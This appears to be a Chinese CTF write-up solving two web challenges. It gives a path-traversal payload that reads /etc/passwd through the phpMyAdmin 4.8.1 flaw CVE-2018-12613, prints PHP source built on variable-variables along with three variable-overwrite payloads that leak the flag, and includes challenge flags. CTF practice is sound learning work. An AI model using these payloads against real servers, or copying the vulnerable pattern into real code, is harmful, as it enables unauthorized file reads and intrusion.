我有一个数据库
打开图片是乱码 源代码也没有任何的东西 扫描一下后台
扫到了3个东西
第一个页面显示
第二个是一个数据库
这个是4.8.1版本的数据库有漏洞可以利用(CVE-2018-12613)
知道这一点就可以直接在百度找他的payload
index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
有回显 直接查flag
flag{e2922980-02d5-4351-82df-b38c10e0456f}
Mark loves cat
打开链接 没看到有用的信息 查看源代码也没有什么信息 尝试扫一下后台
扫到了git泄露
直接GitHack下载源码
下载完成 查看一下源码 还有一个flag.php
分析一下
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){
$$x = $y; 这一块的意思是 post传参 输入$x=$y 回显就是$$x=$y
}foreach($_GET as $x => $y){
$$x = $$y; 这一块的意思是 get传参 输入$x=$y 回显是$$x=$$y
}foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}echo "the flag is: ".$flag;
这道题自己解不出来 看了好几个大佬的wp 才知道这种绕过可以用变量覆盖
这里利用的就是exit函数里面的三个 handsome yds is来绕过
利用 handsome
payload:?handsome=flag&flag=x&x=flag
利用yds
/?yds=flag
利用is
/?is=flag&flag=flag
新学到的东西就是变量覆盖漏洞
得到flag flag{4281d569-f7c1-4095-91cf-975c2e8a9a2d}